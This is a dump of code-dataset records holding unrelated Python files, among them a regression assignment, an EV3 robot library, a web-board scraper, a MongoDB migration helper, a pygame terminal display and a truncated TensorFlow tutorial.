\"\"\"\n if len(name) > 100:\n path_root = os.path.split(name.rstrip(\"/\"))[0]\n last = os.path.split(name.rstrip(\"/\"))[1]\n root = os.path.splitext(last)[0]\n ext = os.path.splitext(last)[1]\n\n # Get the new filename length\n new_length = len(root) - ((len(path_root) + len(root) + len(ext) + 20) % 100)\n\n # Truncate\n root = root[:new_length].rstrip(\" \")\n\n # Truncate by the last blank if exists\n if root.rfind(\" \") != -1:\n root = root[:root.rfind(\" \")]\n\n # Finally put a sign to indicate that the filename was truncated\n root += \"~\"\n\n name = os.path.join(path_root, root+ext)\n\n return os.path.normpath(name)\n\n def unify_path(self, name):\n \"\"\" Converts Windows style urls\n\n Args:\n name (str): Path to save the file to\n\n Returns (str):\n File path\n \"\"\"\n return os.path.normpath(name).replace('\\\\', '/')\n\n def join_paths(self, location, name):\n \"\"\" Joins the file path with the location\n\n Args:\n location (str): The root folder of the Storage\n name (str): The path of the file\n\n Returns(str):\n Joined path which is ready for go\n \"\"\"\n final_path = None\n location = \"/\" + location.lstrip(\"/\").rstrip(\"/\") + \"/\"\n name = name.lstrip(\"/\")\n\n # Join the paths\n final_path = location\n final_path = urljoin(final_path, name)\n\n return final_path","sub_path":"ch_commons/storages/sharefile.py","file_name":"sharefile.py","file_ext":"py","file_size_in_byte":8483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"404392325","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 26 21:49:38 2020\r\n\r\n@author: RAVI\r\n\"\"\"\r\n# Multilinear Regression\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n\r\n# loading the data\r\nstartup = pd.read_csv(\"C:/RAVI/Data science/Assignments/Module 7 Multiple linear regression/MLR Assignment Q1 Dataset/50_Startups.csv/50_Startups.csv\")\r\nstartup.describe()\r\n\r\n#Convert the column into categorical columns\r\nstartup.State=pd.get_dummies(startup['State'],drop_first=True)\r\n\r\n# Scatter plot between the variables along with histograms\r\nimport seaborn as sns\r\nsns.pairplot(startup.iloc[:,:])\r\n\r\n# Correlation matrix \r\nstartup.corr()\r\n\r\nstartup.columns=\"Profit\",\"RD_Spend\",\"Administration\",\"Marketing_Spend\",\"State\"\r\n\r\n# preparing model considering all the variables \r\nimport statsmodels.formula.api as smf # for regression model\r\nml1 = smf.ols('Profit ~ RD_Spend + Administration + Marketing_Spend + State',data=startup).fit() # regression model\r\nml1.summary()\r\n\r\n\r\n#if Coefficients are insignificant then check the model for individual inputs\r\nm_RD=smf.ols('Profit ~ RD_Spend',data=startup).fit()\r\nm_RD.summary()\r\n\r\nm_ADM=smf.ols('Profit ~ Administration',data=startup).fit()\r\nm_ADM.summary()\r\n\r\nm_MRSPEND=smf.ols('Profit ~ Marketing_Spend',data=startup).fit()\r\nm_MRSPEND.summary()\r\n\r\n#Check combinatin of input variables\r\nm_comb=smf.ols('Profit ~ RD_Spend+Administration+Marketing_Spend',data=startup).fit()\r\nm_comb.summary() #one of independent variable p value not statistically significant\r\n\r\n# calculating VIF's values of independent variables\r\nrsq_RD_Spend = smf.ols('RD_Spend ~ Administration + Marketing_Spend + State',data=startup).fit().rsquared \r\nvif_RD_Spend = 1/(1-rsq_RD_Spend)\r\n\r\nrsq_Administration = smf.ols('Administration ~ RD_Spend + Marketing_Spend + State',data=startup).fit().rsquared \r\nvif_Administration = 1/(1-rsq_Administration)\r\n\r\nrsq_Marketing_Spend = smf.ols('Marketing_Spend ~ RD_Spend + Administration + State',data=startup).fit().rsquared \r\nvif_Marketing_Spend = 1/(1-rsq_Marketing_Spend)\r\n\r\nrsq_State = smf.ols('State ~ RD_Spend + Administration + Marketing_Spend',data=startup).fit().rsquared \r\nvif_State = 1/(1-rsq_State)\r\n\r\n# Storing vif values in a data frame\r\nd1 = {'Variables':['RD_Spend','Administration','Marketing_Spend','State'],'VIF':[vif_RD_Spend,vif_Administration,vif_Marketing_Spend,vif_State]}\r\nVif_frame = pd.DataFrame(d1) \r\nVif_frame\r\n# As State and Administration is having higher VIF value, we are not going to include this prediction model\r\n\r\n# final model\r\nfinal_ml= smf.ols('Profit ~ RD_Spend + Marketing_Spend ',data=startup).fit()\r\nfinal_ml.summary()\r\n\r\n\r\n### Splitting the data into train and test data \r\nfrom sklearn.model_selection import train_test_split\r\nstartup_train,startup_test = train_test_split(startup,test_size = 0.3) # 30% test data\r\n\r\n# preparing the model on train data \r\nmodel_train = smf.ols('Profit ~ RD_Spend + Marketing_Spend',data=startup_train).fit()\r\n\r\n\r\n# train_data prediction\r\ntrain_pred = model_train.predict(startup_train)\r\n\r\n# train residual values \r\ntrain_resid = train_pred - startup_train.Profit\r\ntrain_resid \r\n\r\n# RMSE value for train data \r\ntrain_rmse = np.sqrt(np.mean(train_resid*train_resid)) #44476.02\r\ntrain_rmse\r\n\r\n# prediction on test data set \r\ntest_pred = model_train.predict(startup_test)\r\n\r\n# test residual values \r\ntest_resid = test_pred - startup_test.Profit\r\n\r\n# RMSE value for test data \r\ntest_rmse = np.sqrt(np.mean(test_resid*test_resid)) #42859.30\r\ntest_rmse\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"MLR_Assignment_Q1_50startups.py","file_name":"MLR_Assignment_Q1_50startups.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"593929809","text":"\"\"\"\n Library of EV3 robot functions that are useful in many different applications. For example things\n like arm_up, arm_down, driving around, or doing things with the Pixy camera.\n\n Add commands as needed to support the features you'd like to implement. For organizational\n purposes try to only write methods into this library that are NOT specific to one tasks, but\n rather methods that would be useful regardless of the activity. For example, don't make\n a connection to the remote control that sends the arm up if the ir remote control up button\n is pressed. That's a specific input --> output task. Maybe some other task would want to use\n the IR remote up button for something different. Instead just make a method called arm_up that\n could be called. That way it's a generic action that could be used in any task.\n\"\"\"\n\nimport ev3dev.ev3 as ev3\nimport time\nimport math\nMAX_SPEED = 900\n\n\nclass Snatch3r(object):\n \"\"\"Commands for the Snatch3r robot that might be useful in many\n different programs.\"\"\"\n\n def __init__(self):\n \"\"\" construct and store a left motor and a right motor.\"\"\"\n self.left_motor = ev3.LargeMotor(ev3.OUTPUT_B)\n self.right_motor = ev3.LargeMotor(ev3.OUTPUT_C)\n self.arm_motor = ev3.MediumMotor(ev3.OUTPUT_A)\n self.touch_sensor = ev3.TouchSensor()\n assert self.arm_motor.connected\n assert self.touch_sensor.connected\n assert self.left_motor.connected\n assert self.right_motor.connected\n\n self.color_sensor = ev3.ColorSensor()\n assert self.color_sensor\n self.ir_sensor = ev3.InfraredSensor()\n assert self.ir_sensor\n self.pixy = ev3.Sensor(driver_name=\"pixy-lego\")\n assert self.pixy\n\n self.running = True\n\n def drive_inches(self, inches_target, speed_deg_per_second):\n \"\"\" moves the robot by given speed for a given distance. Input\n positive speed to go forward and a negative speed to go backwards.\"\"\"\n self.left_motor.run_to_rel_pos(position_sp=inches_target * 90,\n speed_sp=speed_deg_per_second,\n stop_action='brake')\n self.right_motor.run_to_rel_pos(position_sp=inches_target * 90,\n speed_sp=speed_deg_per_second,\n stop_action='brake')\n self.left_motor.wait_while(ev3.Motor.STATE_RUNNING)\n self.right_motor.wait_while(ev3.Motor.STATE_RUNNING)\n\n def turn_degrees(self, degrees_to_turn, turn_speed_sp):\n \"\"\" turns the robot\"\"\"\n self.left_motor.run_to_rel_pos(position_sp=-degrees_to_turn * 4.45,\n speed_sp=turn_speed_sp,\n stop_action='brake')\n self.right_motor.run_to_rel_pos(position_sp=degrees_to_turn * 4.45,\n speed_sp=turn_speed_sp,\n stop_action='brake')\n self.left_motor.wait_while(ev3.Motor.STATE_RUNNING)\n self.right_motor.wait_while(ev3.Motor.STATE_RUNNING)\n\n def arm_calibration(self):\n \"\"\"Sets the down position as zero for the arm\"\"\"\n self.arm_motor.run_forever(speed_sp=MAX_SPEED)\n while not self.touch_sensor:\n time.sleep(0.01)\n self.arm_motor.stop(stop_action=\"brake\")\n ev3.Sound.beep()\n\n arm_revolutions_for_full_range = 14.2\n self.arm_motor.run_to_rel_pos(position_sp=-arm_revolutions_for_full_range)\n self.arm_motor.wait_while(ev3.Motor.STATE_RUNNING)\n ev3.Sound.beep()\n self.arm_motor.position = 0 # Calibrate the down position as 0 (this line is correct as is).\n\n def arm_up(self):\n \"\"\"Moves arm up until touch sensor is pressed, then beeps\"\"\"\n self.arm_motor.run_forever(speed_sp=MAX_SPEED)\n while not self.touch_sensor.is_pressed:\n time.sleep(0.01)\n self.arm_motor.stop(stop_action=\"brake\")\n ev3.Sound.beep()\n\n def arm_down(self):\n \"\"\"Moves arm down to previously calibrated position\"\"\"\n self.arm_motor.run_to_abs_pos(speed_sp=MAX_SPEED)\n self.arm_motor.wait_while(ev3.Motor.STATE_HOLDING)\n ev3.Sound.beep()\n\n # Manual_down is used to lower the arm if it is stuck in the up position\n def manual_down(self):\n self.arm_motor.run_forever(speed_sp=-100)\n\n def shutdown(self):\n \"\"\"Stops all motors and turns off LEDs\"\"\"\n self.arm_motor.stop(stop_action='brake')\n self.left_motor.stop(stop_action='brake')\n self.right_motor.stop(stop_action='brake')\n ev3.Leds.all_off()\n self.running = False\n\n def loop_forever(self):\n \"\"\"Continuouly checks for changes while the function is called\"\"\"\n while self.running:\n time.sleep(0.1)\n\n def go_forward(self, left_speed, right_speed):\n \"\"\"Moves the robot forward given a positive speed for both the left\n and right motors. If the speeds are not the same, makes the robot\n arc.\"\"\"\n self.left_motor.run_forever(speed_sp=left_speed)\n self.right_motor.run_forever(speed_sp=right_speed)\n\n def go_left(self, left_speed):\n \"\"\"Makes the robot turn left with a given speed\"\"\"\n self.left_motor.run_forever(speed_sp=-left_speed)\n self.right_motor.run_forever(speed_sp=left_speed)\n\n def go_right(self, right_speed):\n \"\"\"Makes the robot turn right with a given speed\"\"\"\n self.left_motor.run_forever(speed_sp=right_speed)\n self.right_motor.run_forever(speed_sp=-right_speed)\n\n def go_backwards(self, left_speed, right_speed):\n \"\"\"Moves the robot backwards given a negative speed for both the left\n and right motors. If the speeds are not the same, makes the robot\n arc.\"\"\"\n self.left_motor.run_forever(speed_sp=-left_speed)\n self.right_motor.run_forever(speed_sp=-right_speed)\n\n def not_go(self):\n \"\"\"Stops the left and right motors bringing the robot to a stop\"\"\"\n self.left_motor.stop(stop_action='brake')\n self.right_motor.stop(stop_action='brake')\n\n def seek_beacon(self):\n \"\"\"This program attempts to find a beacon. When the distance is\n -128, the robot will turn until it spots the beacon. Then it will\n continue in its direction, altering it's heading by turning left and\n right. Once distance reaches 1, the robot stops.\"\"\"\n beacon_seeker = ev3.BeaconSeeker(channel=1)\n forward_speed = 300\n turn_speed = 100\n while True:\n current_heading = beacon_seeker.heading\n current_distance = beacon_seeker.distance\n if current_distance == -128:\n self.go_right(100)\n else:\n if math.fabs(current_heading) < 2:\n print(\"On the right heading. Distance: \", current_distance)\n self.go_forward(forward_speed, forward_speed)\n if math.fabs(current_heading) < 10 and math.fabs(\n current_heading) > 2:\n print(\"Adjusting heading: \", current_heading)\n if current_heading < 0:\n self.go_left(turn_speed)\n time.sleep(0.5)\n if current_heading > 0:\n self.go_right(turn_speed)\n time.sleep(0.5)\n\n if math.fabs(current_heading) > 10:\n self.go_right(100)\n\n if current_distance == 1:\n self.go_forward(300, 300)\n time.sleep(1.5)\n print('you have found the beacon!')\n self.not_go()\n what = True\n break\n\n print(beacon_seeker.distance, beacon_seeker.heading)\n time.sleep(0.1)\n return what\n","sub_path":"libs/robot_controller.py","file_name":"robot_controller.py","file_ext":"py","file_size_in_byte":7913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"26749964","text":"import os\nimport tkinter as tk\nimport yfinance as yf\n\n#InstStock = tk.Tk()\n#InstStock.geometry('700x300')\n#InstStock.title(\"Instanstock\")\n\n# current_stock_list = ['Tesla', 'Apple', 'Yahoo', 'Amazon' , 'Alphabet' , 'Facebook', 'Bitcoin']\n\ntsla = yf.Ticker(\"TSLA\")\naapl = yf.Ticker(\"AAPL\")\namzn = yf.Ticker(\"AMZN\")\ngoog = yf.Ticker(\"GOOG\")\nnvda = yf.Ticker(\"NVDA\")\nmsft = yf.Ticker(\"MSFT\")\namd = yf.Ticker(\"AMD\")\n\nprint(tsla)\nprint(aapl)\nprint(amzn)\nprint(goog)\nprint(nvda)\nprint(msft)\nprint(amd)\n\n\ntsla.info\n\ntsla.history(period=\"max\")\n\n\n#for i in range(4):\n#\tfor j in range(5):\n#\t\tframe = tk.Frame(\n#\t\t\tmaster=InstStock,\n#\t\t\trelief=tk.RAISED,\n#\t\t\tborderwidth=1\n#\t\t)\n#\t\tframe.grid(row=i, column=j)\n#\t\tlabel = tk.Label(master=frame, text=f\"Row {i}\\nColumn {j}\")\n#\t\tlabel.pack()\n\n# api = \n# Shows major stock listings\n# Shows their daily movement \n\n\n#InstStock.mainloop()","sub_path":"Instantstock.py","file_name":"Instantstock.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"440460733","text":"import requests\nimport sqlite3\nimport time\nimport calendar\nfrom bs4 import BeautifulSoup\nfrom urlparse import urljoin\nimport settings\n\n\nclass Post(object):\n \"\"\"Posts in Public Folder\"\"\"\n def __init__(self, title, author, post_time, url, database=settings.DATABASE):\n self.title = title\n self.author = author\n self.post_time = calendar.timegm(time.strptime(\n post_time, settings.TIME_FORMAT\n ))\n self.url = url\n self.database = database\n\n def save(self):\n \"\"\"Save Post to database\"\"\"\n self._conn = sqlite3.connect(self.database)\n self._cur = self._conn.cursor()\n self._cur.execute(\n 'INSERT INTO board (title, author, time, url) VALUES (?, ?, ?, ?)',\n (self.title, self.author, self.post_time, self.url)\n )\n self._conn.commit()\n self._conn.close()\n\n\nclass BoardBot(object):\n \"\"\"A bot which can retrieve post titles from NTU public folder and store\n new posts in database.\"\"\"\n def __init__(self, database):\n # Get last record to decide whether new posts should be saved.\n self._database = database\n self.get_last_record()\n\n def get_last_record(self):\n self._conn = sqlite3.connect(self._database)\n self._cur = self._conn.cursor()\n self._cur.execute(\n 'SELECT * FROM board ORDER BY time DESC LIMIT 1'\n )\n self._last_post = self._cur.fetchone()\n self._conn.close()\n\n def retrieve_posts(self):\n self._response = requests.post(\n settings.LOGIN_URL,\n data=settings.LOGIN_DATA,\n verify=False,\n )\n\n # If auth failed, user will be redirected to an different url with\n # status code 200.\n AUTH_SUCCESS = self._response.url == settings.BOARD_URL\n\n with open(settings.LOG, 'a') as logfile:\n # Write log.\n curr_time = time.strftime(\"%a %m/%d/%Y %I:%M %p\", time.gmtime(time.time()))\n logfile.write(\n '{time}: {status}, auth_successful({auth})\\n'.format(\n time=curr_time, status=self._response.status_code,\n auth = AUTH_SUCCESS\n )\n )\n self.posts = []\n if AUTH_SUCCESS:\n soup = BeautifulSoup(self._response.content, 'lxml')\n for x in soup.find_all('table')[-1].find_all('tr')[1:]:\n author, title, ptime = [y for y in x.find_all('td')[5:8]]\n url = urljoin(settings.BASE_URL, title.find('a')['href'])\n self.posts.append(\n Post(title=title.text,\n author=author.text,\n post_time=ptime.text,\n url=url,\n database=self._database)\n )\n\n def save_posts(self):\n try:\n self.posts\n except AttributeError:\n self.retrieve_posts()\n try:\n # In case the table is empty.\n _last_time = self._last_post[2]\n _last_author = self._last_post[1]\n except:\n _last_time = 0\n _last_author = ''\n\n count = 0\n for post in self.posts:\n if post.post_time > _last_time:\n post.save()\n count += 1\n elif post.post_time == _last_time and post.author != _last_author:\n post.save()\n count += 1\n else:\n # Do not test consequent posts because posts are arranged\n # in descent order of time. All remaining items are posted\n # before _last_time.\n break\n return count\n\n\n\n\n\n\n\n","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"254257991","text":"from functools import reduce\n\n\ndef knapsack(fruits, limit):\n def nextVI(i, values, items):\n return reduce(\n (lambda vis, vi: (vis[0] + [vi[0]], vis[1] + [vi[1]])),\n [(values[w - fruits[i][1]] + fruits[i][2], i)\n if w >= fruits[i][1] and w < limit + 1 and\n values[w - fruits[i][1]] + fruits[i][2] > values[w]\n else (values[w], items[w]) for w in range(len(values))],\n ([], [])\n )\n\n def iterate(i):\n if i == 0:\n return nextVI(i, [0] * (limit + 1), [0] * (limit + 1))\n else:\n values, items = iterate(i - 1)\n return nextVI(i, values, items)\n\n def solution(i, items, minWeight):\n return (([fruits[items[i]]] +\n solution(i - fruits[items[i]][1], items, minWeight))\n if i >= minWeight else [])\n\n return solution(limit,\n iterate(len(fruits) - 1)[1], min([f[1] for f in fruits]))\n\n\nprint(knapsack([('李子', 4, 4500), ('蘋果', 5, 5700),\n ('橘子', 2, 2250), ('草莓', 1, 1100),\n ('甜瓜', 6, 6700)], 8))\n\n# https://openhome.cc/Gossip/AlgorithmGossip/KnapsackProblem.htm\n","sub_path":"L2-bag.py","file_name":"L2-bag.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"111673428","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# __auth__ = \"都君丨大魔王\"\n\n\nclass Check(object):\n def http_response_check(self, http_response, expect_key, expect_value):\n '''获取http接口响应消息中某个key的值'''\n for key, value in http_response.items():\n if key == expect_key:\n if value == expect_value:\n print('【比对成功】响应结果与预期结果中{}值都为{}。'.format(key, expect_value))\n return True\n else:\n print('【比对失败】响应结果{}的值为{},预期结果中{}的值为{}。'.format(key, value, expect_key, expect_value))\n return False\n elif isinstance(value, list):\n for i in value:\n self.http_response_check(i, expect_key, expect_value)\n\n\nif __name__ == \"__main__\":\n http_response = {\"data\": [{\"fee\": 0, \"uid\": \"996600\", \"mobile\": \"13900000001\", \"code\": -1, \"sid\": \"24d19211-0610-4efa-9807-0d1c59b2a9f0\", \"msg\": \"鉴权失败（账号或密码错误）\"}], \"total_fee\": 0}\n expect_key = 'total_fee'\n expect_value = 0\n my_check = Check()\n print(my_check.http_response_check(http_response, expect_key, expect_value))\n","sub_path":"public/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"178734934","text":"# Modified from\n# https://www.programiz.com/python-programming/examples/fibonacci-recursion\n# Python program to display the Fibonacci sequence up to n-th term using recursive functions\nVERBOSE = False\n\n# Very inefficient way to compute Fibonacci\ndef recur_fibo(n):\n \"\"\"Recursive function to\n print Fibonacci sequence\"\"\"\n if VERBOSE: print( \" Inside Fib(%3d)\" % (n))\n if n <= 1:\n # Base case\n if VERBOSE: print( \" Base case, return (%3d)\" % (n))\n return n\n else:\n # Recursive case\n if VERBOSE: print( \"\\tCall Fib: %3d, %3d\" % ((n-1),(n-2)))\n l = recur_fibo(n-1)\n r = recur_fibo(n-2)\n return(l + r)\n # return(recur_fibo(n-1) + recur_fibo(n-2))\n\n# Change this value for a different result\nnterms = 50\n\n# check if the number of terms is valid\nif nterms <= 0:\n print(\"Please enter a positive integer\")\n nterms = int(input(\"How many terms? \"))\nelse:\n print(\"Fibonacci sequence:\")\n for i in range(nterms):\n print(recur_fibo(i))\n","sub_path":"assignments/huffman/Study/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"273446542","text":"import os\nimport re\nimport sys\nimport inspect\nimport subprocess\nfrom copy import copy\n\n# 3rd Party\nimport click\nfrom click import echo\n\n\nclass Migration(object):\n \"\"\"\n All migration will inherit from this.\n \"\"\"\n # States\n STATE_NEW = 'New'\n STATE_PROCESSING = 'Processing'\n STATE_FAILED = 'Failed'\n STATE_COMPLETED = 'Completed'\n\n @property\n def migration_key(self):\n migration_file = inspect.getfile(self.__class__)\n migration_key = os.path.splitext(os.path.basename(migration_file))[0]\n return migration_key\n\n @property\n def migration_name(self):\n return self.__class__.__name__\n\n def update_status(self, state):\n raise NotImplementedError(\"This is an abstract class\")\n\n @property\n def status(self):\n raise NotImplementedError(\"This is an abstract class\")\n\n def process(self, force=False):\n click.echo(\"Processing {}\".format(self.migration_name))\n\n if self.status == Migration.STATE_NEW or force:\n self.update_status(Migration.STATE_PROCESSING)\n echo(\"Starting: {}\".format(self.migration_name))\n try:\n self.run()\n except Exception:\n echo(\"Migration {} Failed\".format(self.migration_name))\n typ, value, traceback = sys.exc_info()\n echo(\"Unexpected error: [{}]\".format(typ))\n echo(\"Unexpected value: [{}]\".format(value))\n echo(\"Unexpected traceback: [{}]\".format(traceback))\n self.update_status(Migration.STATE_FAILED)\n raise\n else:\n echo(\"Migration {} Successful\".format(self.migration_name))\n self.update_status(Migration.STATE_COMPLETED)\n elif self.status == Migration.STATE_PROCESSING:\n echo(\"{} is currently being processed\".format(self.migration_name))\n elif self.status == Migration.STATE_COMPLETED:\n echo(\"{} has already been processed\".format(self.migration_name))\n elif self.status == Migration.STATE_FAILED:\n echo(\"{} has already been processed, and failed - best to restart\".format(self.migration_name))\n\n\n def run(self):\n \"\"\"Should be implemented by subclass\"\"\"\n raise NotImplementedError(\"This is an abstract class\")\n\n\nclass QuerySet(object):\n\n def __init__(self, database, mongodump_options):\n self.database = database\n self.mongodump_options = mongodump_options\n self.touched_collections = []\n\n @property\n def application_collection_names(self):\n \"\"\"returns an array of names of all non system tables in the database\"\"\"\n system_table_re = re.compile(\"system\\.\")\n\n return [col_name for col_name in self.database.collection_names() if not system_table_re.match(col_name)]\n\n def dump_collection(self, collection_name, query=None):\n self.touched_collections.append(collection_name)\n execution_array = ['mongodump']\n\n collection_options = copy(self.mongodump_options)\n collection_options['-c'] = collection_name\n\n if query:\n collection_options['-q'] = str(query)\n\n for option in collection_options:\n execution_array.extend([option, collection_options[option]])\n echo(\"Executing: {}\".format(execution_array))\n subprocess.call(execution_array)\n\n def run(self):\n \"\"\"Should be implemented by the subclass\"\"\"\n raise NotImplementedError(\"This is an abstract class\")\n\n def only(self):\n \"\"\"if you want to limit the collections override this and return an array of collection names\"\"\"\n return None\n\n def exclude(self):\n \"\"\"if you want to limit the collections override this and return an array of collection names\"\"\"\n return None\n\n @property\n def additional_collections(self):\n \"\"\"returns the collections not specified in the query_set factoring `only` and `exclude`\"\"\"\n include_set = self.only() or self.application_collection_names\n include_set = set(include_set) - set(self.touched_collections)\n\n if self.exclude():\n include_set = include_set - set(self.exclude())\n\n return include_set\n\n def execute(self):\n self.run()\n\n for collection_name in self.additional_collections:\n self.dump_collection(collection_name)\n\n\nclass MigrationHistoryStorage(object):\n \"\"\"Contract for persistence implementations to adhere to\"\"\"\n @classmethod\n def find_or_create_by_key(cls, migration_key):\n \"\"\"Should return a MigrationHistory object\"\"\"\n raise NotImplementedError('Abstract Class')\n\n\nclass MigrationHistory(object):\n \"\"\"Contract for persistence implementations to adhere to\"\"\"\n def __init__(self, **kwargs):\n self.key = kwargs.get('key')\n self.state = kwargs.get('state')\n self.processed_at = kwargs.get('processed_at')\n","sub_path":"monarch/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"479297471","text":"# coding=utf-8\n\"\"\" Pygame display \"\"\"\n\nfrom __future__ import absolute_import\nfrom ccpy.lua_impl.colors import Colors as CCDisplayColors\n\nimport pygame\n\n\n# noinspection PyClassHasNoInit\nclass DisplayColors(object):\n \"\"\" CC colors as RGB \"\"\"\n\n WHITE = (240, 240, 240)\n ORANGE = (242, 178, 51)\n MAGENTA = (229, 127, 216)\n LIGHTBLUE = (153, 178, 242)\n YELLOW = (222, 222, 108)\n LIME = (127, 204, 25)\n PINK = (242, 178, 204)\n GRAY = (76, 76, 76)\n LIGHTGRAY = (153, 153, 153)\n CYAN = (76, 153, 178)\n PURPLE = (178, 102, 229)\n BLUE = (51, 102, 204)\n BROWN = (127, 102, 76)\n GREEN = (87, 166, 78)\n RED = (204, 76, 76)\n BLACK = (25, 25, 25)\n TRANSPARENT = False # DO NOT USE!\n\n @staticmethod\n def cc_to_native(color):\n \"\"\" Convert CC 'colors' api colors to DisplayColors colors \"\"\"\n for k, v in CCDisplayColors.color_t.items():\n if v == color:\n return getattr(DisplayColors, k.upper())\n\n return DisplayColors.WHITE\n\n def paint_to_native(self, color):\n \"\"\" Convert paint colors to DisplayColors colors \"\"\"\n if color == \"1\": return self.ORANGE\n elif color == \"2\": return self.MAGENTA\n elif color == \"3\": return self.LIGHTBLUE\n elif color == \"4\": return self.YELLOW\n elif color == \"5\": return self.LIME\n elif color == \"6\": return self.PINK\n elif color == \"7\": return self.GRAY\n elif color == \"8\": return self.LIGHTGRAY\n elif color == \"9\": return self.CYAN\n elif color == \"a\": return self.PURPLE\n elif color == \"b\": return self.BLUE\n elif color == \"c\": return self.BROWN\n elif color == \"d\": return self.GREEN\n elif color == \"e\": return self.RED\n elif color == \"f\": return self.BLACK\n else: return self.WHITE\n\n\nclass Display(object):\n \"\"\" Pygame display \"\"\"\n\n font = None\n surface = None\n\n cursor_x = 0\n cursor_y = 0\n\n txt_color = DisplayColors.WHITE\n bg_color = DisplayColors.BLACK\n\n screen = None\n\n width = 0\n height = 0\n\n scale = 2\n\n @staticmethod\n def clear(w, h):\n \"\"\" Clear screen \"\"\"\n\n scr = {}\n empty = (\" \", DisplayColors.WHITE, DisplayColors.BLACK)\n\n for i in range(w):\n scr[i] = {}\n for j in range(h):\n scr[i][j] = empty\n\n return scr\n\n def load_char(self, char_pos_x, char_pos_y, font):\n \"\"\" Load character from font picture \"\"\"\n\n c = pygame.Surface((font[\"width\"], font[\"height\"]))\n c.blit(self.font_file, (0, 0), (char_pos_x * font[\"width\"], char_pos_y * font[\"height\"],\n font[\"width\"], font[\"height\"]))\n c = pygame.transform.scale(c, (self.font[\"width\"] * self.scale, self.font[\"height\"] * self.scale))\n\n return c\n\n def load_font(self, font):\n \"\"\" Load font picture \"\"\"\n\n font_map = []\n\n for y in range(0, 16):\n for x in range(0, 16):\n font_map.append(self.load_char(x, y, font))\n\n return font_map\n\n def __init__(self, font, surface, width, height, scale=2):\n self.font = font\n self.surface = surface\n self.width = width\n self.height = height\n self.screen = self.clear(width, height)\n self.scale = scale\n\n # noinspection PyUnresolvedReferences\n self.font_file = pygame.image.load(\"res/fonts/{}.png\".format(font[\"name\"]))\n\n self.font_chars = self.load_font(font)\n\n print(\"display size: \" + str(width) + \"x\" + str(height))\n\n def clear_line(self):\n \"\"\" Clear line\"\"\"\n\n for i in range(self.width):\n self.screen[i][self.cursor_y] = (\" \", DisplayColors.WHITE, DisplayColors.BLACK)\n\n def put_char(self, char, x, y):\n \"\"\" Put a single char \"\"\"\n\n self.screen[x][y] = (char, self.txt_color, self.bg_color)\n\n def render_char(self, x, y, char):\n \"\"\" Render a single char \"\"\"\n\n if char[1] is not DisplayColors.TRANSPARENT:\n font = self.font_chars[ord(char[0])].copy()\n\n font.fill(char[2], special_flags=pygame.BLEND_RGB_MAX)\n font.fill(char[1], special_flags=pygame.BLEND_RGB_MIN)\n\n self.surface.blit(font, (x * 12, y * (self.font[\"height\"] * self.scale)))\n\n def scroll(self, count):\n \"\"\" Scroll screen \"\"\"\n\n for _ in range(1, count):\n for i in range(self.width):\n for j in range(self.height):\n self.screen[i][j] = self.screen[i][j + 1]\n\n self.cursor_y -= count\n\n def write(self, text):\n \"\"\" Write string \"\"\"\n\n for char in text:\n if char == \"\\n\":\n self.cursor_y += 1\n self.cursor_x = 0\n else:\n if self.cursor_x >= self.width:\n self.cursor_x = 0\n self.cursor_y += 1\n\n if self.cursor_y >= self.height:\n self.scroll(1)\n\n self.put_char(char, self.cursor_x, self.cursor_y)\n self.cursor_x += 1\n\n def set_txt_color(self, color):\n \"\"\" Set text color \"\"\"\n\n self.txt_color = color\n\n def set_bg_color(self, color):\n \"\"\" Set background color \"\"\"\n\n self.bg_color = color\n\n def draw(self):\n \"\"\" Render screen \"\"\"\n\n for i in range(self.width):\n for j in range(self.height):\n try:\n self.render_char(i, j, self.screen[i][j])\n except KeyError:\n pass\n","sub_path":"ccpy/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"137782399","text":"'''\nconstuct NN steps:\n1. import modules, got data sets\n2. forward propagation: IPO\n3. backward propagtion: define loss function as optimizer\n4. session, train steps\n'''\nimport tensorflow as tf\nimport numpy as np\n\nBATCH_SIZE = 8\nseed = 23455\n\n# generate 32 groups of 2 factors, weight and volume, to be data set\nX = np.random.RandomState(seed).rand(32,2)\n# set judgement and generate so-called actual result Y\nY_ = [[int(x0 + x1 < 1)] for (x0, x1) in X]# what fuck usage?\n# output std result\nprint(\"start generating randomly\")\nprint(\"X is \\n\", X)\nprint(\"Y_ is \\n\", Y_)\n\n# implement of Step 1\nx = tf.placeholder(tf.float32, shape=(None,2))# None means unknown factors number\ny_ = tf.placeholder(tf.float32,shape=(None,1))\n# weight\nw1 = tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))\nw2 = tf.Variable(tf.random_normal([3,1],stddev=1,seed=1))\n# calculate matrix(forward propagation)\na = tf.matmul(x,w1)\ny = tf.matmul(a,w2)\n\n# implement of Step 2\nloss = tf.reduce_mean(tf.square(y-y_))\n# 0.001 is studying rate\ntraining = tf.train.GradientDescentOptimizer(0.001).minimize(loss)\n#training = 